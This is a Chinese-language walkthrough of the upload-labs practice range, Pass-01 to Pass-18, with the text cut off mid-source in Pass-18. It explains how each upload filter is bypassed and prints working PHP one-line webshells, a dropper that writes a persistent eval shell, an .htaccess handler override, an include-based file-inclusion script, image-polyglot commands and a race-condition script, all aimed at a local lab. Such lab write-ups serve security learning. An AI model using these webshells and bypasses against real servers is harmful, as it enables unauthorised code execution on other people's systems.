Upload-labs-master 最新Pass01-Pass19——详细Write up

Upload-labs

Pass-01

JS前端绕过

上传一句话木马,内容为

<?php
@eval($_REQUEST["cmd"]);
?>

然后上传shell.php

image-20230802134209247

通过弹窗可以判断出是JS前端验证,众所周知,前端验证等于不存在

image-20230802134229947

从form表单可以看出他在使用了onsubmit这个函数触发了鼠标的单击事件

image-20230802134701284

表单提交后,调用了return checkfile这个函数对上传的文件进行检查

方法一:

创建一个新的html文件,将页面的源代码复制下来,进行修改删除操作禁用掉里面的js脚本

image-20230802135936492

讲此函数及其内容删除

image-20230802140029763

然后在删除onsubmit="return checkFile()"的地方添加,也就是第一关的提交地址

action="http://127.0.0.1/upload-labs/Pass-01/index.php"

image-20230802140154772

方法二:

直接在浏览器中修改前端代码

也就是在此界面直接将return checkFile()删掉

image-20230802134701284

删除

image-20230802140906534

但是这种做法有一种风险,可能会含有一些正常的js,如果把正常的js删掉会影响正常的上传操作

方法三:

burp抓包修改

上传前,随便使用一张图片格式的照片进行上传比如1.png 使用bp进行拦截,将filename=cmd.jpg 修改成cmd.php 并且把 图片的内容进行替换,替换成一句话木马绕过

image-20230802141905426

然后去访问cmd.php,上传成功

image-20230802142119358

这里路径自己判断一下,我把靶场的上传路径变成了当前文件夹,所以路径就是

http://127.0.0.1/upload-labs/Pass-01/cmd.php

靶场默认的路径是../upload

Pass-02

MIME绕过

直接上传php文件会被检测到

image-20230802143122853

通过源代码可以看出后端是对MIME类型进行校验

image-20230802143217757

利用burp抓包,修改MIME类型

image-20230802143708895

修改为image/jpeg,上传成功

image-20230802143749089

Pass-03

特殊解析后缀绕过

上传shell.php文件失败,是后端验证

image-20230802144244104

通过代码可以看出是黑名单过滤

image-20230802144327061

只过滤掉了这几种特定的后缀,那我们可以通过php的别名来绕过过滤

php开发了这么久了,不止只有这一个文件名,我们可以使用其他的php的别名进行绕过:.php3 .php4 .php5 .phtml .phtm .phps .phpt .php345 (但是这里是有前提条件的)就是对方的服务器的配置有对这些php其他的文件名配置了解析的设置,否认就算你上传上去了,还是解析失败。

所以可以上传.phtml后缀的php文件

image-20230802144701437

可以看到上传成功

image-20230802144847716

Pass-04

.htaccess解析文件绕过

这里基本把和php有关的后缀名全部过滤了,但是没有对.htaccess进行验证,所以我们可以用.htaccess进行绕过

.htaccess功能介绍:htaccess文件是Apache服务器中的一个配置文件。这个文件可以不用获得root权限,就可以更改这个目录下的所有的文件配置。那么说明只要创建一个.htaccess的文件,并且写入php的 配置,上传到这个服务器上,那么这个.htaccess所在的目录下的所有文件的配置就会都修改成转换成php的解析格式。(.htaccess文件只对Apache服务器有效)。

首先创建一个.htaccess文件并写入

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后上传该文件

image-20230802150500826

将一句话木马文件改为jpg格式,然后上传

image-20230802150643700

访问cmd.jpg就可显示phpinfo信息

Pass-05

源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

这里和之前的源码对比一下,可以发现没有使用strtolower()函数,也就是把后缀都转化为小写,那么我们就可以使用大小写的方式进行绕过

先上传shell.php,然后利用burp抓包,后缀改为PHP

image-20230802165024305

访问shell.php来getshell

image-20230802165219062

Pass-06

空格绕过

源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

从源码中可以看出没有对文件名后缀的空格使用trim()进行过滤

trim():去除左右两侧的空白

借助windows系统的特性,文件名中的空格在最后保存文件时会被作为空处理,最后在保存的时候把后面的空格自动删除掉。

所以我们可以上传文件,在文件最后添加一个空格,即

image-20230802170252182

上传成功

Pass-07

点绕过

源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

从源代码可以看出没有对文件名末尾的点使用deldot进行过滤,没有删除末尾的点,所以可以利用windows的特性,在文件名的后缀加上.,然后再上传,Windows会自动去除后面的点,然后保存文件,可以利用此特性来上传文件

上传php文件,然后在文件后缀加一个.

image-20230802170449125

上传成功

Pass-08

源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

通过代码审计可以发现,这里没有使用str_ireplace()::$DATA进行过滤,没有替换为空

::$DATA

:: D A T A 这是一种 w i n d o w s 操作系统处理文件时的特性,为文件流,如果文件名后有此标记 : : DATA这是一种windows操作系统处理文件时的特性,为文件流,如果文件名后有此标记:: DATA这是一种windows操作系统处理文件时的特性,为文件流,如果文件名后有此标记::DATA,并且没有做过滤,windows会不检查,直接保存该文件。使用他的目的就是不检查后缀名。

所以我们只要在文件名后面加上::$DATA就可以成功绕过

上传一个php文件,然后在文件后面加上::$DATA

image-20230802171708842

上传成功

Pass-09

逻辑绕过

源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

可以看到基本上包括.htaccess在内的文件都被过滤了,并且strtolower()函数也被添加,所以换个思路

绕过思路

$file_name = deldot($file_name);//删除文件名末尾的点

重点就是这里。在代码中可以看出对所有的过滤都是采用的是一次性过滤,这里删除末尾的点. 只删除了一次

那我们就可以使用. .进行绕过,deldot()这个函数的作用就是删除末尾的点,当检查到末尾的点时,他会进行删除,然后继续先前检测点,但是这个deldot这个函数遇到空格会停下来,相等于碰到空格就终止操作。所以我们 只要在上传文件的时候使用 点+空格+点 绕过就好了

这样在检查我们文件的时候,原本是shell.php. .就变成shell.php.不在黑名单中所以可以进行上传,又利用了系统的特性,在保存这个文件的时候系统自动去掉了shell.php.最后的.,最后变成了shell.php

接下来进行上传

将文件名后缀改为.php. .

image-20230802172015174

之后访问shell.php,上传成功

Pass-10

双写绕过

提示:

本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!

源码如下:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
    
    
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

这一关重点的是str_ireplace($deny_ext,"", $file_name)这个函数将文件名中出现在黑名单的这些后缀都替换成空,假如我们上传一个shell.php被过滤后就变成了shell,就没有后缀无法解析了,但是他使用的是一次性过滤,比如说我们上传shell.phpphp,那么在一次性被过滤后我们原本上传的文件就变成了shell.php

上传文件,burp抓包修改

image-20230802173436131

上传成功,getshell

注意一下,这里不要把后缀改为phpphp,这样还是都会被删除掉,变成shell

Pass-11

GET %00截断

提示:

本pass上传路径可控!

源码如下

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    
    
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = '上传失败!';
        }
    }
    else{
    
    
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

代码分析

  1. $ext_arr = array('jpg','png','gif'); 这里使用了数组做了一个白名单

  2. $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);截取文件名的后缀从点的位置开始截取,并且使用的是循环的方式截取,不是采用 一次性对($_FILES['upload_file']['name'])进行验证

  3. if(in_array($file_ext,$ext_arr)) 判断上传的文件名后缀是否在白名单中,如果在进入循环。

  4. $temp_file = $_FILES['upload_file']['tmp_name']; 进入循环,给上传的文件放在一个临时的目录下,并且生成一个临时文件名

5.$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;(这一步是关键)使用$_GET['save_path']接受自定义的路径,并且随机从10,99的数组在随机生成一个文件名,在拼接上$file_Ext 前面截取的后缀名。

6.(move_uploaded_file($temp_file,$img_path))最终将前面保存的$temp_file临时文件移动到$img_path

这里要用%00截断方法

原理:%00截断利用的是php的漏洞,php的基础是C语言实现的,在C语言中认为%00是结束的符号,所以就基础了c的特性,在PHP<5.3.4的版本中,在进行存储文件时碰见了move_uploaded_file这个函数的时候,这个函数读取到hex值为00的字符,认为读取结束,就终止了后面的操作,出现00截断

绕过思路:

首先使用的是白名单,从代码中可以看出他首先对上传的文件名的后缀进行了验证。

所以我们在第一步上传$_FILES['upload_file']['name'],文件名的时候必须后缀是.jpg.png.gif的格式。绕过后缀名的验证后,进入到循环。最后重点他保存的文件是$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;,由上传路径决定的,原参数$_GET['save_path'],save_path=../upload/。 那么上传路径可控的 。我们就使用%00截断,把上传的路径修改为文件名。最后利用move_uploade_file这个函数发挥出%00截断功能

%00只能用于php版本低于5.3的。这里我们需要把phpstudy切换一下版本,把magic_quotes_gpc关闭,以phpstudy为例。其他选项菜单—php扩展及设置—参数开关设置—把magic_quotes_gpc关闭。

由于这里php5.2.x版本一直下载失败,演示一下思路

首先上传一个jpg文件,内容是一句话木马

image-20230803163348107

在上传路径添加1.php%00,这里php名称无所谓的

image-20230803163426032

然后上传成功后,后面的图片就被截断了,然后访问1.php,即可获得webshell

Pass-12

POST %00截断

提示

本pass上传路径可控!

源码如下:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    
    
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = "上传失败";
        }
    }
    else{
    
    
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这关卡与12关相同,不过接收路径的方式从GET变为了POST,因此我们可以使用burp抓包,然后修改数据包中的值即可。但是有一点要注意,在GET请求中是使用%00截断,但是POST中要将其进行url编码才行

上传.jpg文件,然后burp抓包

image-20230803163930472

然后上面的post路径修改,并利用%00截断

image-20230803164028063

但是这里注意一下,这里的%00要先解码

image-20230803164322219

然后访问1.phpgetshell

Pass-13

文件头检测

提示

本pass检查图标内容开头2个字节!

源码如下

function getReailFileType($filename){
    
    
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){
    
          
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = "上传失败";
        }
    }
}

这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件

我们发现这里对文件头两个字节进行了检测,其中getReailFileType()函数会对文件头进行检测,若最终结果不为unknow,则可以上传图片。因为程序只对前两个字节进行检测,因此我们可以通过图片马的方式,在一张正常的图片的十六进制最后插入一句话木马,即可绕过检测

使用 图片马 + 文件包含 绕过

补充知识:

  1. Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
  2. Jpg图片文件包括2字节:FF D8。
  3. Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
  4. Bmp图片文件包括2字节:42 4D。即为 BM。

因此首先我们需要制作图片马,其中111.jpg为正常图片,shell.php为一句话木马,生成一张新的图片shell.jpg,通过以下命令实现

copy 111.jpg/b+shell.php shell.jpg

然后上传shell.jpg

image-20230803165521497

上传成功后,右键复制图片链接,得到图片路径

upload-labs/Pass-13/7720230803165514.jpg

额,看了看之前靶场都是存在文件包含文件的,现在不存在了,那就自己创建一个

/upload-labs路径下创建include.php文件,内容如下:

<?php
    $file=$_GET['file'];
    include($file)
?>

然后构造payload:

http://127.0.0.1/upload-labs/include.php?file=/Pass-13/7720230803165514.jpg

image-20230803170748305

getshell

Pass-14

文件头检测

提示

本pass使用getimagesize()检查是否为图片文件!

源码如下:

function isImage($filename){
    
    
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
    
    
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
    
    
            return $ext;
        }else{
    
    
            return false;
        }
    }else{
    
    
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = "上传失败";
        }
    }
}

函数分析:

getimagesize():用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

image_type_to_extension():根据指定的图像类型返回对应的后缀名。

stripos():查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

这里会对整个文件做一次检测,判断是否为图片文件,且图片格式只能为.jpeg|.png|.gif。因此这关仍然可以使用图片马的方式绕过。制作图片马的方式和上一关相同,不多赘述

copy 111.png/b+shell.php shell.png

然后将png文件上传,复制图片链接

/Pass-14/3020230803171706.png

利用之前创建的include.php进行文件包含,payload:

http://127.0.0.1/upload-labs/include.php?file=/Pass-14/3020230803171706.png

image-20230803171801951

Pass-15

文件头检测

提示:

本pass使用exif_imagetype()检查是否为图片文件!

源码如下

function isImage($filename){
    
    
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
    
    
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = "上传失败";
        }
    }
}

知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

与前两道题基本相同,上传111.png,然后复制图像链接

/Pass-15/9120230803172111.png

利用文件包含getshell

http://127.0.0.1/upload-labs/include.php?file=/Pass-15/9120230803172111.png

image-20230803172158425

Pass-16

二次渲染

提示

本pass重新渲染了图片!

源码如下:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    
    
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    
    
        if(move_uploaded_file($tmpname,$target_path))
        {
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
    
    
                $msg = "该文件不是jpg格式的图片!";
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
    
    
            $msg = "上传失败!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
    
    
        if(move_uploaded_file($tmpname,$target_path))
        {
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
    
    
                $msg = "该文件不是png格式的图片!";
            }else{
    
    
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
    
    
            $msg = "上传失败!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
    
    
        if(move_uploaded_file($tmpname,$target_path))
        {
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
    
    
                $msg = "该文件不是gif格式的图片!";
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
    
    
            $msg = "上传失败!";
        }
    }else{
    
    
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

这一关对上传图片进行了判断了后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

补充知识:
二次渲染:后端重写文件内容

basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名

strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像

imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像

imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

关卡提示二次渲染,经过二次渲染的图片,其中的内容会发生变化,例如:我们在一张gif图片底部插入一句话木马

22.5.png

在上传文件后,在目录中生成了新的文件,其文件使用010查看,发现一句话木马已经消失了

22.6.png

但是也是有解决办法的,我们查看上传前的gif和上传后的gif,发现有一部分的内容是没有改变的

img

假设我们这部分插入一句话木马,那么就可以绕过被渲染而消失的木马了

为了方便测试,提供一个网上某个大佬提供的GIF图片

文件上传之二次渲染(专用图).zip

我们将下载好的文件用010Editor打开,然后利用010的对比功能,找到不变的地方然后插入一句话木马

image-20230803174114444

构造payload:

http://127.0.0.1/upload-labs/include.php?file=e:\phpstudy_pro\WWW\upload-labs\Pass-1614307.gif

getshell

image-20230803174143134

Pass-17

条件竞争

源码如下:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
    
    
        if(in_array($file_ext,$ext_arr)){
    
    
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             unlink($upload_file);
             $is_upload = true;
        }else{
    
    
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
    
    
        $msg = '上传失败!';
    }
}

这里在判断我们文件的时候是先把文件上传到目录下先if(move_uploaded_file($temp_file, $upload_file)),如果文件符合文件后缀则将其重命名,保存下来,否则unlink()函数将删除目录下的文件。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

因此我们采取在文件还未被删除时尝试去访问他,这里采用条件竞争的方式来实现

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

首先,上传一个一句话木马,然后使用burp抓包,将其移入Intruder模块,将mime改为图片类型,去掉所有的标记点

这里为了效果更好,把一句话木马改为

<?php fputs(fopen('Leaf.php','w'),'<?php @eval($_POST["Leaf"])?>');?>

把这个php文件通过burp一直不停的重放,然后再不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个Leaf.php的一句话木马。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的Leaf.php服务器是不会删除的,我们就可以通过蚁剑去链接了。

image-20230803174855485

然后配置Payload

image-20230803174951219

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的shell.php文件)

import requests
url = "http://127.0.0.1/upload-labs/Pass-17/shell.php" #文件上传路径
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

脚本准备就绪之后,就可以让burp开始攻击,同时运行脚本

当脚本回显OK,说明shell.php已经执行成功

image-20230803175744303

成功创建Leaf.php

image-20230803175835359

成功getshell

image-20230803180013451

Pass-18

条件竞争

源码如下:

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    
    
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload($UPLOAD_ADDR);
    switch ($status_code) {
    
    
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
